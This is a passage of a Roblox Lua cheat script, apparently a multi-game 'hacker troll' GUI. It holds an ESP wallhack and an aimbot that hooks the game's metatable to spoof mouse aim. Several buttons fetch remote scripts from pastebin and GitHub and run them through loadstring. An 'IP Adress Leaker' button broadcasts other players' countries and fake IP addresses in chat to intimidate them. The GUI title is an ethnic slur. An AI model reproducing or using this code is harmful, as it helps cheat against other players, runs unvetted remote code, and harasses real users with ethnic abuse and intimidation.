  6450. if _G.nr == true and game.Players.LocalPlayer.Character:findFirstChild("Ragdoller") then
  6451. game.Players.LocalPlayer.Character.Ragdoller:remove()
  6452. end
  6453. end
  6454. end)
  6455. spawn(function()
  6456. function CreateESPPart(BodyPart,r,g,b)
  6457. local ESPPartparent = BodyPart
  6458. local Box = Instance.new("BoxHandleAdornment")
  6459. Box.Size = BodyPart.Size + Vector3.new(0.1, 0.1, 0.1)
  6460. Box.Name = "ESPPart"
  6461. Box.Adornee = ESPPartparent
  6462. Box.Color3 = Color3.fromRGB(r,g,b)
  6463. Box.AlwaysOnTop = true
  6464. Box.ZIndex = 5
  6465. Box.Transparency = 0.8
  6466. Box.Parent = BodyPart
  6467. Box.Visible = true
  6468. end
  6469. function loadCheck(plr,chr)
  6470. if chr:findFirstChild("Humanoid") then
  6471. local part = chr:getChildren()
  6472. for i=1,#part do
  6473. if part[i].ClassName == "Part" then
  6474. if _G.esptoggle == true then
  6475. CreateESPPart(part[i], 0,255,0)
  6476. end
  6477. spawn(function()
  6478. while true do
  6479. wait(0.1)
  6480. if plr:findFirstChild("TempPlayerStatsModule") then
  6481. if plr.TempPlayerStatsModule.IsBeast.Value then
  6482. if part[i]:findFirstChild("ESPPart") then
  6483. part[i].ESPPart:remove()
  6484. end
  6485. if _G.esptoggle == true then
  6486. CreateESPPart(part[i], 255,0,0)
  6487. end
  6488. else
  6489. if part[i]:findFirstChild("ESPPart") then
  6490. part[i].ESPPart:remove()
  6491. end
  6492. if _G.esptoggle == true then
  6493. CreateESPPart(part[i], 0,255,0)
  6494. end
  6495. end
  6496. end
  6497. end
  6498. end)
  6499. end
  6500. end
  6501. end
  6502. end
  6503. local player = game.Players:GetChildren()
  6504. for i=1,#player do
  6505. if player[i].Name == game.Players.LocalPlayer.Name then
  6506. else
  6507. player[i].CharacterAdded:Connect(function(character)
  6508. wait(0.5)
  6509. loadCheck(player[i],player[i].Character)
  6510. end)
  6511. loadCheck(player[i],player[i].Character)
  6512. end
  6513. end
  6514. game.Players.PlayerAdded:Connect(function(player)
  6515. player.CharacterAdded:Connect(function(character)
  6516. wait(0.5)
  6517. loadCheck(player,character)
  6518. end)
  6519. end)
  6520. end)
  6521. spawn(function()
  6522. while wait(0.5) do
  6523. game.Lighting.FogEnd = 10000000
  6524. local w = workspace:getDescendants()
  6525. for i=1,#w do
  6526. if w[i].ClassName == "Part" then
  6527. if w[i].Name == "PodTrigger" then
  6528. local stuff = w[i].Parent:getChildren()
  6529. for i=1,#stuff do
  6530. if stuff[i].ClassName == "Part" then
  6531. if stuff[i].Transparency ~= 1 then
  6532. if stuff[i]:findFirstChild("ESPPart") then
  6533. if _G.esptoggle == true then
  6534. stuff[i]["ESPPart"].Visible = true
  6535. else
  6536. stuff[i]["ESPPart"].Visible = false
  6537. end
  6538. else
  6539. local Box = Instance.new("BoxHandleAdornment")
  6540. Box.Size = stuff[i].Size
  6541. Box.Name = "ESPPart"
  6542. Box.Adornee = stuff[i]
  6543. Box.Color3 = Color3.fromRGB(0,0,255)
  6544. Box.AlwaysOnTop = true
  6545. Box.ZIndex = 5
  6546. Box.Transparency = 0.8
  6547. Box.Parent = stuff[i]
  6548. end
  6549. end
  6550. end
  6551. end
  6552. end
  6553. end
  6554. if w[i].Name == "Screen" then
  6555. local screen = w[i]
  6556. local stuff = w[i].Parent:getChildren()
  6557. for i=1,#stuff do
  6558. if stuff[i].ClassName == "Part" then
  6559. if stuff[i].Transparency ~= 1 then
  6560. if stuff[i]:findFirstChild("ESPPart") then
  6561. if _G.esptoggle == true then
  6562. stuff[i]["ESPPart"].Visible = true
  6563. else
  6564. stuff[i]["ESPPart"].Visible = false
  6565. end
  6566. else
  6567. local Box = Instance.new("BoxHandleAdornment")
  6568. Box.Size = stuff[i].Size
  6569. Box.Name = "ESPPart"
  6570. Box.Adornee = stuff[i]
  6571. Box.Color3 = Color3.fromRGB(100,100,255)
  6572. Box.AlwaysOnTop = true
  6573. Box.ZIndex = 5
  6574. Box.Transparency = 0.8
  6575. Box.Parent = stuff[i]
  6576. spawn(function()
  6577. while screen ~= nil do
  6578. Box.Color3 = screen.Color
  6579. wait(0.5)
  6580. end
  6581. end)
  6582. end
  6583. end
  6584. end
  6585. end
  6586. end
  6587. end
  6588. end
  6589. end)
  6590. end)
  6591.  
  6592. KATAimbot.Name = "KATAimbot"
  6593. KATAimbot.Parent = main
  6594. KATAimbot.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  6595. KATAimbot.Position = UDim2.new(0.27976501, 0, 0.514295936, 0)
  6596. KATAimbot.Size = UDim2.new(0, 55, 0, 25)
  6597. KATAimbot.Font = Enum.Font.SourceSans
  6598. KATAimbot.Text = "KAT Aimbot"
  6599. KATAimbot.TextColor3 = Color3.fromRGB(0, 0, 0)
  6600. KATAimbot.TextSize = 13.000
  6601. KATAimbot.MouseButton1Down:connect(function()
  6602. local localPlayer = game:GetService("Players").LocalPlayer
  6603. local currentCamera = game:GetService("Workspace").CurrentCamera
  6604. local mouse = localPlayer:GetMouse()
  6605.  
  6606. local function getClosestPlayerToCursor(x, y)
  6607. local closestPlayer = nil
  6608. local shortestDistance = math.huge
  6609.  
  6610. for i, v in pairs(game:GetService("Players"):GetPlayers()) do
  6611. if v ~= localPlayer and v.Character and v.Character:FindFirstChild("Humanoid") and v.Character.Humanoid.Health ~= 0 and v.Character:FindFirstChild("HumanoidRootPart") and v.Character:FindFirstChild("Torso") then
  6612. local pos = currentCamera:WorldToViewportPoint(v.Character.HumanoidRootPart.Position)
  6613. local magnitude = (Vector2.new(pos.X, pos.Y) - Vector2.new(x, y)).magnitude
  6614.  
  6615. if magnitude < shortestDistance then
  6616. closestPlayer = v
  6617. shortestDistance = magnitude
  6618. end
  6619. end
  6620. end
  6621.  
  6622. return closestPlayer
  6623. end
  6624.  
  6625. local mt = getrawmetatable(game)
  6626. local oldIndex = mt.__index
  6627. if setreadonly then setreadonly(mt, false) else make_writeable(mt, true) end
  6628. local newClose = newcclosure or function(f) return f end
  6629.  
  6630. mt.__index = newClose(function(t, k)
  6631. if not checkcaller() and t == mouse and tostring(k) == "X" and string.find(getfenv(2).script.Name, "Client") and getClosestPlayerToCursor() then
  6632. local closest = getClosestPlayerToCursor(oldIndex(t, k), oldIndex(t, "Y")).Character.Torso
  6633. local pos = currentCamera:WorldToScreenPoint(closest.Position)
  6634. return pos.X
  6635. end
  6636. if not checkcaller() and t == mouse and tostring(k) == "Y" and string.find(getfenv(2).script.Name, "Client") and getClosestPlayerToCursor() then
  6637. local closest = getClosestPlayerToCursor(oldIndex(t, "X"), oldIndex(t, k)).Character.Torso
  6638. local pos = currentCamera:WorldToScreenPoint(closest.Position)
  6639. return pos.Y
  6640. end
  6641. if t == mouse and tostring(k) == "Hit" and string.find(getfenv(2).script.Name, "Client") and getClosestPlayerToCursor() then
  6642. return getClosestPlayerToCursor(mouse.X, mouse.Y).Character.Torso.CFrame
  6643. end
  6644.  
  6645. return oldIndex(t, k)
  6646. end)
  6647.  
  6648. if setreadonly then setreadonly(mt, true) else make_writeable(mt, false) end
  6649. end)
  6650.  
  6651. LeakCountryAndIP.Name = "LeakCountryAndIP"
  6652. LeakCountryAndIP.Parent = main
  6653. LeakCountryAndIP.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  6654. LeakCountryAndIP.Position = UDim2.new(0.0189836491, 0, 0.517164707, 0)
  6655. LeakCountryAndIP.Size = UDim2.new(0, 88, 0, 25)
  6656. LeakCountryAndIP.Font = Enum.Font.SourceSans
  6657. LeakCountryAndIP.Text = "LeakCountryAndIP"
  6658. LeakCountryAndIP.TextColor3 = Color3.fromRGB(0, 0, 0)
  6659. LeakCountryAndIP.TextSize = 11.000
  6660. LeakCountryAndIP.MouseButton1Down:connect(function()
  6661. local ScreenGui = Instance.new("ScreenGui")
  6662. local MainFrame = Instance.new("Frame")
  6663. local Head = Instance.new("ImageLabel")
  6664. local TextLabel = Instance.new("TextLabel")
  6665. local Moto = Instance.new("TextLabel")
  6666. local CreditsToggle = Instance.new("TextButton")
  6667. local Donate = Instance.new("TextButton")
  6668. local RecieptText = Instance.new("TextLabel")
  6669. local ToggleAdress = Instance.new("TextButton")
  6670. local TextButton_Roundify_12px = Instance.new("ImageLabel")
  6671. local ToggleAnim = Instance.new("TextButton")
  6672. local TextButton_Roundify_12px_2 = Instance.new("ImageLabel")
  6673. local Admin = Instance.new("TextButton")
  6674. local TextButton_Roundify_12px_3 = Instance.new("ImageLabel")
  6675. local Close = Instance.new("TextButton")
  6676. local Close_Roundify_12px = Instance.new("ImageLabel")
  6677. local CredFrame = Instance.new("Frame")
  6678. local Title = Instance.new("TextLabel")
  6679. local ProfileImage = Instance.new("ImageLabel")
  6680. local Name = Instance.new("TextLabel")
  6681. local Par1 = Instance.new("TextLabel")
  6682. local Par2 = Instance.new("TextLabel")
  6683. local backButton = Instance.new("TextButton")
  6684. local Arrow = Instance.new("ImageLabel")
  6685. local ButtonSound = Instance.new("Sound")
  6686. local PartySound = Instance.new("Sound")
  6687. ButtonSound.Name = "click"
  6688. local mps = game:GetService("MarketplaceService")
  6689. local gamepass_id = 10323924
  6690.  
  6691. --Properties:
  6692.  
  6693. ScreenGui.Parent = game.CoreGui
  6694.  
  6695. ButtonSound.Parent = ScreenGui
  6696. ButtonSound.SoundId = "rbxassetid://3194643942"
  6697. ButtonSound.Looped = false
  6698. ButtonSound.Volume = 0.6
  6699.  
  6700. MainFrame.Name = "MainFrame"
  6701. MainFrame.Parent = ScreenGui
  6702. MainFrame.Active = true
  6703. MainFrame.AnchorPoint = Vector2.new(0.5, 0.5)
  6704. MainFrame.BackgroundColor3 = Color3.fromRGB(56, 56, 56)
  6705. MainFrame.BorderSizePixel = 4
  6706. MainFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
  6707. MainFrame.Size = UDim2.new(0, 500, 0, 250)
  6708. MainFrame.Draggable = true
  6709.  
  6710. Head.Name = "Head"
  6711. Head.Parent = MainFrame
  6712. Head.Active = true
  6713. Head.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6714. Head.BorderSizePixel = 4
  6715. Head.Size = UDim2.new(0, 500, 0, 35)
  6716. Head.Image = "rbxassetid://707641468"
  6717. Head.ScaleType = Enum.ScaleType.Crop
  6718.  
  6719. TextLabel.Parent = Head
  6720. TextLabel.AnchorPoint = Vector2.new(0.5, 0)
  6721. TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6722. TextLabel.BackgroundTransparency = 1.000
  6723. TextLabel.Position = UDim2.new(0.5, 0, 0, 0)
  6724. TextLabel.Size = UDim2.new(0, 500, 0, 35)
  6725. TextLabel.Font = Enum.Font.SourceSans
  6726. TextLabel.Text = "Chinese Fucker"
  6727. TextLabel.TextColor3 = Color3.fromRGB(7, 158, 7)
  6728. TextLabel.TextScaled = true
  6729. TextLabel.TextSize = 14.000
  6730. TextLabel.TextStrokeTransparency = 0.000
  6731. TextLabel.TextWrapped = true
  6732.  
  6733. Moto.Name = "Moto"
  6734. Moto.Parent = MainFrame
  6735. Moto.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6736. Moto.BackgroundTransparency = 1.000
  6737. Moto.Position = UDim2.new(0, 0, 0.919999957, 0)
  6738. Moto.Size = UDim2.new(0, 500, 0, 20)
  6739. Moto.Font = Enum.Font.Cartoon
  6740. Moto.Text = "The ultimate hacker troll gui!"
  6741. Moto.TextColor3 = Color3.fromRGB(0, 0, 0)
  6742. Moto.TextScaled = true
  6743. Moto.TextSize = 14.000
  6744. Moto.TextWrapped = true
  6745.  
  6746. CreditsToggle.Name = "CreditsToggle"
  6747. CreditsToggle.Parent = MainFrame
  6748. CreditsToggle.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6749. CreditsToggle.Position = UDim2.new(0.900000036, 0, 0.860000014, 0)
  6750. CreditsToggle.Size = UDim2.new(0, 50, 0, 35)
  6751. CreditsToggle.Style = Enum.ButtonStyle.RobloxRoundDefaultButton
  6752. CreditsToggle.Font = Enum.Font.SourceSansBold
  6753. CreditsToggle.Text = "Credits"
  6754. CreditsToggle.TextColor3 = Color3.fromRGB(0, 0, 0)
  6755. CreditsToggle.TextSize = 14.000
  6756. CreditsToggle.MouseButton1Down:Connect(function()
  6757. ButtonSound:Play()
  6758. CredFrame.Visible = true
  6759. wait(0.1)
  6760. MainFrame.Visible = false
  6761. end)
  6762.  
  6763. Donate.Name = "Donate"
  6764. Donate.Parent = MainFrame
  6765. Donate.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6766. Donate.Position = UDim2.new(5.96046448e-08, 0, 0.860000014, 0)
  6767. Donate.Size = UDim2.new(0, 50, 0, 35)
  6768. Donate.Style = Enum.ButtonStyle.RobloxRoundDefaultButton
  6769. Donate.Font = Enum.Font.SourceSansBold
  6770. Donate.Text = "Donate"
  6771. Donate.TextColor3 = Color3.fromRGB(0, 0, 0)
  6772. Donate.TextSize = 14.000
  6773. Donate.MouseButton1Down:Connect(function()
  6774. ButtonSound:Play()
  6775. local player = game.Players.LocalPlayer
  6776. mps:PromptGamePassPurchase(player, gamepass_id)
  6777. end)
  6778.  
  6779. RecieptText.Name = "RecieptText"
  6780. RecieptText.Parent = MainFrame
  6781. RecieptText.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  6782. RecieptText.BackgroundTransparency = 0.800
  6783. RecieptText.BorderSizePixel = 3
  6784. RecieptText.Position = UDim2.new(0, 0, 0.400000006, 0)
  6785. RecieptText.Size = UDim2.new(0, 500, 0, 35)
  6786. RecieptText.Visible = false
  6787. RecieptText.Font = Enum.Font.Bodoni
  6788. RecieptText.Text = "Thank you for donating!"
  6789. RecieptText.TextColor3 = Color3.fromRGB(0, 0, 0)
  6790. RecieptText.TextSize = 32.000
  6791. RecieptText.TextWrapped = true
  6792.  
  6793. ToggleAdress.Name = "ToggleAdress"
  6794. ToggleAdress.Parent = MainFrame
  6795. ToggleAdress.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6796. ToggleAdress.BackgroundTransparency = 1.000
  6797. ToggleAdress.BorderSizePixel = 0
  6798. ToggleAdress.Position = UDim2.new(0.100000001, 0, 0.328000009, 0)
  6799. ToggleAdress.Size = UDim2.new(0, 85, 0, 85)
  6800. ToggleAdress.ZIndex = 2
  6801. ToggleAdress.Font = Enum.Font.SourceSansBold
  6802. ToggleAdress.Text = "IP Adress Leaker"
  6803. ToggleAdress.TextColor3 = Color3.fromRGB(0, 177, 0)
  6804. ToggleAdress.TextSize = 23.000
  6805. ToggleAdress.TextStrokeTransparency = 0.000
  6806. ToggleAdress.TextTransparency = 0.600
  6807. ToggleAdress.TextWrapped = true
  6808. ToggleAdress.MouseButton1Down:Connect(function()
  6809. ButtonSound:Play()
  6810. _G.ass = {}
  6811. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  6812. if v.Name ~= game:GetService("Players").LocalPlayer.Name then
  6813. local Thing = game:GetService("HttpService"):JSONDecode(game:HttpGet("http://country.io/names.json"))
  6814. local ParsedCountry = Thing[gethiddenproperty(v, "CountryRegionCodeReplicate")]
  6815. local SayMessageRequest = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
  6816. SayMessageRequest:FireServer(
  6817. v.Name.." is from "..tostring(ParsedCountry).." ".."Num: "..math.random(1,200).."."..math.random(1,200)..".".."######".." ".."(IP: Successfully Listed)",
  6818. "All"
  6819. )
  6820. wait(2)
  6821. end
  6822. end
  6823. for i = 1,5 do
  6824. local SayMessageRequest1 = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
  6825. SayMessageRequest1:FireServer(
  6826. "Information Leaking Status: Working..",
  6827. "All"
  6828. )
  6829. wait(1)
  6830. end
  6831. wait(5)
  6832. local SayMessageRequest2 = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
  6833. SayMessageRequest2:FireServer(
  6834. "Information Leaking Status: Successfully Leaked!",
  6835. "All"
  6836. )
  6837. end)
  6838.  
  6839. TextButton_Roundify_12px.Name = "TextButton_Roundify_12px"
  6840. TextButton_Roundify_12px.Parent = ToggleAdress
  6841. TextButton_Roundify_12px.Active = true
  6842. TextButton_Roundify_12px.AnchorPoint = Vector2.new(0.5, 0.5)
  6843. TextButton_Roundify_12px.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6844. TextButton_Roundify_12px.BackgroundTransparency = 1.000
  6845. TextButton_Roundify_12px.Position = UDim2.new(0.5, 0, 0.5, 0)
  6846. TextButton_Roundify_12px.Selectable = true
  6847. TextButton_Roundify_12px.Size = UDim2.new(1, 0, 1, 0)
  6848. TextButton_Roundify_12px.Image = "rbxassetid://3570695787"
  6849. TextButton_Roundify_12px.ImageColor3 = Color3.fromRGB(90, 90, 90)
  6850. TextButton_Roundify_12px.ScaleType = Enum.ScaleType.Slice
  6851. TextButton_Roundify_12px.SliceCenter = Rect.new(100, 100, 100, 100)
  6852. TextButton_Roundify_12px.SliceScale = 0.120
  6853.  
  6854. ToggleAnim.Name = "ToggleAnim"
  6855. ToggleAnim.Parent = MainFrame
  6856. ToggleAnim.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6857. ToggleAnim.BackgroundTransparency = 1.000
  6858. ToggleAnim.BorderSizePixel = 0
  6859. ToggleAnim.Position = UDim2.new(0.414000005, 0, 0.328000009, 0)
  6860. ToggleAnim.Size = UDim2.new(0, 85, 0, 85)
  6861. ToggleAnim.ZIndex = 2
  6862. ToggleAnim.Font = Enum.Font.SourceSansBold
  6863. ToggleAnim.Text = "Hacker Animation [r6]"
  6864. ToggleAnim.TextColor3 = Color3.fromRGB(0, 177, 0)
  6865. ToggleAnim.TextSize = 19.000
  6866. ToggleAnim.TextStrokeTransparency = 0.000
  6867. ToggleAnim.TextTransparency = 0.600
  6868. ToggleAnim.TextWrapped = true
  6869. ToggleAnim.MouseButton1Down:Connect(function()
  6870. ButtonSound:Play()
  6871. loadstring(game:HttpGet('https://pastebin.com/raw/3HEkCX6i'))()
  6872. end)
  6873.  
  6874. TextButton_Roundify_12px_2.Name = "TextButton_Roundify_12px"
  6875. TextButton_Roundify_12px_2.Parent = ToggleAnim
  6876. TextButton_Roundify_12px_2.Active = true
  6877. TextButton_Roundify_12px_2.AnchorPoint = Vector2.new(0.5, 0.5)
  6878. TextButton_Roundify_12px_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6879. TextButton_Roundify_12px_2.BackgroundTransparency = 1.000
  6880. TextButton_Roundify_12px_2.Position = UDim2.new(0.5, 0, 0.5, 0)
  6881. TextButton_Roundify_12px_2.Selectable = true
  6882. TextButton_Roundify_12px_2.Size = UDim2.new(1, 0, 1, 0)
  6883. TextButton_Roundify_12px_2.Image = "rbxassetid://3570695787"
  6884. TextButton_Roundify_12px_2.ImageColor3 = Color3.fromRGB(90, 90, 90)
  6885. TextButton_Roundify_12px_2.ScaleType = Enum.ScaleType.Slice
  6886. TextButton_Roundify_12px_2.SliceCenter = Rect.new(100, 100, 100, 100)
  6887. TextButton_Roundify_12px_2.SliceScale = 0.120
  6888.  
  6889. Admin.Name = "Admin"
  6890. Admin.Parent = MainFrame
  6891. Admin.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6892. Admin.BackgroundTransparency = 1.000
  6893. Admin.BorderSizePixel = 0
  6894. Admin.Position = UDim2.new(0.730000019, 0, 0.328000009, 0)
  6895. Admin.Size = UDim2.new(0, 85, 0, 85)
  6896. Admin.ZIndex = 2
  6897. Admin.Font = Enum.Font.SourceSansBold
  6898. Admin.Text = "Give Admin"
  6899. Admin.TextColor3 = Color3.fromRGB(0, 177, 0)
  6900. Admin.TextSize = 21.000
  6901. Admin.TextStrokeTransparency = 0.000
  6902. Admin.TextTransparency = 0.600
  6903. Admin.TextWrapped = true
  6904. Admin.MouseButton1Down:Connect(function()
  6905. ButtonSound:Play()
  6906. loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()
  6907. end)
  6908.  
  6909. TextButton_Roundify_12px_3.Name = "TextButton_Roundify_12px"
  6910. TextButton_Roundify_12px_3.Parent = Admin
  6911. TextButton_Roundify_12px_3.Active = true
  6912. TextButton_Roundify_12px_3.AnchorPoint = Vector2.new(0.5, 0.5)
  6913. TextButton_Roundify_12px_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6914. TextButton_Roundify_12px_3.BackgroundTransparency = 1.000
  6915. TextButton_Roundify_12px_3.Position = UDim2.new(0.5, 0, 0.5, 0)
  6916. TextButton_Roundify_12px_3.Selectable = true
  6917. TextButton_Roundify_12px_3.Size = UDim2.new(1, 0, 1, 0)
  6918. TextButton_Roundify_12px_3.Image = "rbxassetid://3570695787"
  6919. TextButton_Roundify_12px_3.ImageColor3 = Color3.fromRGB(90, 90, 90)
  6920. TextButton_Roundify_12px_3.ScaleType = Enum.ScaleType.Slice
  6921. TextButton_Roundify_12px_3.SliceCenter = Rect.new(100, 100, 100, 100)
  6922. TextButton_Roundify_12px_3.SliceScale = 0.120
  6923.  
  6924. Close.Name = "Close"
  6925. Close.Parent = MainFrame
  6926. Close.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6927. Close.BackgroundTransparency = 1.000
  6928. Close.BorderSizePixel = 0
  6929. Close.Position = UDim2.new(0.338, 0, 0.776000023, 0)
  6930. Close.Size = UDim2.new(0, 161, 0, 21)
  6931. Close.ZIndex = 2
  6932. Close.Font = Enum.Font.ArialBold
  6933. Close.Text = "x"
  6934. Close.TextColor3 = Color3.fromRGB(170, 0, 0)
  6935. Close.TextScaled = true
  6936. Close.TextSize = 14.000
  6937. Close.TextWrapped = true
  6938. Close.MouseButton1Down:Connect(function()
  6939. ScreenGui:Destroy()
  6940. end)
  6941.  
  6942. Close_Roundify_12px.Name = "Close_Roundify_12px"
  6943. Close_Roundify_12px.Parent = Close
  6944. Close_Roundify_12px.Active = true
  6945. Close_Roundify_12px.AnchorPoint = Vector2.new(0.5, 0.5)
  6946. Close_Roundify_12px.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6947. Close_Roundify_12px.BackgroundTransparency = 1.000
  6948. Close_Roundify_12px.Position = UDim2.new(0.5, 0, 0.5, 0)
  6949. Close_Roundify_12px.Selectable = true
  6950. Close_Roundify_12px.Size = UDim2.new(1, 0, 1, 0)
  6951. Close_Roundify_12px.Image = "rbxassetid://3570695787"
  6952. Close_Roundify_12px.ImageColor3 = Color3.fromRGB(90, 90, 90)
  6953. Close_Roundify_12px.ScaleType = Enum.ScaleType.Slice
  6954. Close_Roundify_12px.SliceCenter = Rect.new(100, 100, 100, 100)
  6955. Close_Roundify_12px.SliceScale = 0.120
  6956.  
  6957. CredFrame.Name = "CredFrame"
  6958. CredFrame.Parent = ScreenGui
  6959. CredFrame.AnchorPoint = Vector2.new(0.5, 0.5)
  6960. CredFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6961. CredFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
  6962. CredFrame.Size = UDim2.new(0, 200, 0, 300)
  6963. CredFrame.Visible = false
  6964. CredFrame.Style = Enum.FrameStyle.DropShadow
  6965.  
  6966. Title.Name = "Title"
  6967. Title.Parent = CredFrame
  6968. Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6969. Title.BackgroundTransparency = 1.000
  6970. Title.Position = UDim2.new(0.0399999991, 0, 0.00666666776, 0)
  6971. Title.Size = UDim2.new(0, 169, 0, 50)
  6972. Title.Font = Enum.Font.Gotham
  6973. Title.Text = "Credits"
  6974. Title.TextColor3 = Color3.fromRGB(0, 0, 0)
  6975. Title.TextSize = 23.000
  6976. Title.TextWrapped = true
  6977.  
  6978. ProfileImage.Name = "ProfileImage"
  6979. ProfileImage.Parent = CredFrame
  6980. ProfileImage.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6981. ProfileImage.BackgroundTransparency = 1.000
  6982. ProfileImage.Position = UDim2.new(0.043516688, 0, 0.18309474, 0)
  6983. ProfileImage.Size = UDim2.new(0, 53, 0, 54)
  6984. ProfileImage.Image = "http://www.roblox.com/asset/?id=5221084591"
  6985.  
  6986. Name.Name = "Name"
  6987. Name.Parent = CredFrame
  6988. Name.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6989. Name.BackgroundTransparency = 1.000
  6990. Name.Position = UDim2.new(0.354951799, 0, 0.180927992, 0)
  6991. Name.Size = UDim2.new(0, 110, 0, 28)
  6992. Name.Font = Enum.Font.ArialBold
  6993. Name.Text = "RustedDeveloperMike"
  6994. Name.TextColor3 = Color3.fromRGB(0, 0, 0)
  6995. Name.TextScaled = true
  6996. Name.TextSize = 14.000
  6997. Name.TextWrapped = true
  6998.  
  6999. Par1.Name = "Par1"
  7000. Par1.Parent = CredFrame
  7001. Par1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  7002. Par1.BackgroundTransparency = 1.000
  7003. Par1.Position = UDim2.new(0.304407954, 0, 0.258876741, 0)
  7004. Par1.Size = UDim2.new(0, 122, 0, 54)
  7005. Par1.Font = Enum.Font.SourceSansBold
  7006. Par1.Text = "Hello, I am rusted!"
  7007. Par1.TextColor3 = Color3.fromRGB(0, 0, 0)
  7008. Par1.TextSize = 12.000
  7009. Par1.TextWrapped = true
  7010.  
  7011. Par2.Name = "Par2"
  7012. Par2.Parent = CredFrame
  7013. Par2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  7014. Par2.BackgroundTransparency = 1.000
  7015. Par2.Position = UDim2.new(0.0508139059, 0, 0.0838218182, 0)
  7016. Par2.Size = UDim2.new(0, 164, 0, 236)
  7017. Par2.Font = Enum.Font.SourceSansBold
  7018. Par2.Text = "I made many roblox games before! But right now you are using my Chinese Fucker gui, I hope you enjoy this script."
  7019. Par2.TextColor3 = Color3.fromRGB(0, 0, 0)
  7020. Par2.TextSize = 12.000
  7021. Par2.TextWrapped = true
  7022.  
  7023. backButton.Name = "backButton"
  7024. backButton.Parent = CredFrame
  7025. backButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  7026. backButton.Position = UDim2.new(0.217548981, 0, 0.899791062, 0)
  7027. backButton.Size = UDim2.new(0, 91, 0, 26)
  7028. backButton.Style = Enum.ButtonStyle.RobloxRoundDefaultButton
  7029. backButton.Font = Enum.Font.SourceSans
  7030. backButton.Text = "Back"
  7031. backButton.TextColor3 = Color3.fromRGB(0, 0, 0)
  7032. backButton.TextSize = 14.000
  7033. backButton.MouseButton1Down:Connect(function()
  7034. ButtonSound:Play()
  7035. MainFrame.Visible = true
  7036. wait()
  7037. CredFrame.Visible = false
  7038. end)
  7039.  
  7040. Arrow.Name = "Arrow"
  7041. Arrow.Parent = CredFrame
  7042. Arrow.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  7043. Arrow.BackgroundTransparency = 1.000
  7044. Arrow.Position = UDim2.new(-0.112055972, 0, 0.912131548, 0)
  7045. Arrow.Size = UDim2.new(0, 91, 0, 20)
  7046. Arrow.Image = "http://www.roblox.com/asset/?id=5221135765"
  7047. Arrow.ScaleType = Enum.ScaleType.Fit
  7048.  
  7049. PartySound.Parent = ScreenGui
  7050. PartySound.Name = "Firework"
  7051. PartySound.SoundId = "rbxassetid://171715991"
  7052. PartySound.Looped = false
  7053. PartySound.Volume = 0.6
  7054.  
  7055. mps.PromptGamePassPurchaseFinished:Connect(function(player, id, purchased)
  7056. if id == gamepass_id and purchased then
  7057. Donate.Visible = false
  7058. RecieptText.Visible = true
  7059. RecieptText.ZIndex = 5
  7060. PartySound:Play()
  7061. wait(3.5)
  7062. RecieptText.Visible = false
  7063. PartySound:Pause()
  7064. end
  7065. end)
  7066. end)
  7067.  
  7068. MadGamesScript.Name = "MadGamesScript"
  7069. MadGamesScript.Parent = main
  7070. MadGamesScript.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  7071. MadGamesScript.Position = UDim2.new(0.733104289, 0, 0.515730262, 0)
  7072. MadGamesScript.Size = UDim2.new(0, 88, 0, 25)
  7073. MadGamesScript.Font = Enum.Font.SourceSans
  7074. MadGamesScript.Text = "MadGamesScript"
  7075. MadGamesScript.TextColor3 = Color3.fromRGB(0, 0, 0)
  7076. MadGamesScript.TextSize = 11.000
  7077. MadGamesScript.MouseButton1Down:connect(function()
  7078. loadstring(game:GetObjects("rbxassetid://693572038")[1].Source)()
  7079. end)
  7080.  
  7081. PhantomForcesGUI.Name = "PhantomForcesGUI"
  7082. PhantomForcesGUI.Parent = main
  7083. PhantomForcesGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  7084. PhantomForcesGUI.Position = UDim2.new(0.0196627378, 0, 0.341111571, 0)
  7085. PhantomForcesGUI.Size = UDim2.new(0, 77, 0, 25)
  7086. PhantomForcesGUI.Font = Enum.Font.SourceSans
  7087. PhantomForcesGUI.Text = "PhantomForcesGUI"
  7088. PhantomForcesGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
  7089. PhantomForcesGUI.TextSize = 10.000
  7090. PhantomForcesGUI.MouseButton1Down:connect(function()
  7091. loadstring(game:HttpGet("https://www.pastebin.com/raw/m57yfT6v"))()
  7092. end)
  7093.  
  7094. RagdollEngineGUI.Name = "RagdollEngineGUI"
  7095. RagdollEngineGUI.Parent = main
  7096. RagdollEngineGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  7097. RagdollEngineGUI.Position = UDim2.new(0.202645004, 0, 0.162340611, 0)
  7098. RagdollEngineGUI.Size = UDim2.new(0, 76, 0, 25)
  7099. RagdollEngineGUI.Font = Enum.Font.SourceSans
  7100. RagdollEngineGUI.Text = "RagdollEngineGUI"
